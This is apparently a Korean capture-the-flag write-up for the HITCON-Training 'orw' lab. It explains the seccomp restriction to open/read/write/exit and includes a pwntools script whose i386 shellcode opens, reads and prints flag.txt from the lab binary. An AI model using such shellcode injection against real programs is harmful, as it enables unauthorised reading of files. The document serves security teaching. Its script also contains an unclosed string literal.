문제


이 문제는 처음에 orw_seccomp함수 내에서 prctl 함수를 호출한다. 이를 통해서 권한 상승 (setuid 등을 이용한)을 방지하고 사용할 수 있는 syscall의 종류를 제한한다. (read, write, open, exit syscall만 사용 가능)

정의되어 있는 option 및 option 값 설명 : https://elixir.bootlin.com/linux/latest/source/include/uapi/linux/prctl.h

option 설명 : http://man7.org/linux/man-pages/man2/prctl.2.html

그리고 0xc8 바이트 만큼의 입력을 받은 뒤 입력으로 받은 코드를 호출한다.

flag.txt를 읽어오기 위해서는 open()을 통해 해당 파일을 열고 read를 통해서 flag.txt 내용을 stack에 옮긴다. 그 뒤 표준출력에 stack에 저장된 내용을 write를 하면 flag.txt의 내용을 읽어올 수 있다.

풀이


#!/usr/bin/python

from pwn import *

shell=(pwnlib.shellcraft.i386.open('/home/sungyun/HITCON-Training/LAB/lab2/flag.txt))
shell+=(pwnlib.shellcraft.i386.read(3,'esp',30))
shell+=(pwnlib.shellcraft.i386.write(1,'esp',30))

exploit=asm(shell,arch='i386')

p=process("/home/sungyun/HITCON-Training/LAB/lab2/orw.bin")

p.recvuntil(":")
p.send(exploit)
print p.recv()

질문?


이 elf 파일이 실행되는 machine은 x86_64이다. 따라서 입력으로 주는 코드로 x64 (AMD64) 어셈블리를 주면 실행할 수 있을거라고 생각했다. 하지만 x64 어셈블리를 입력으로 주어도 해당 파일 내에서는 코드를 x86 어셈블리로 해석해버린다. 그래서 제대로 된 동작을 하지 않는다. 뭐 그렇단다…ㅋㅋ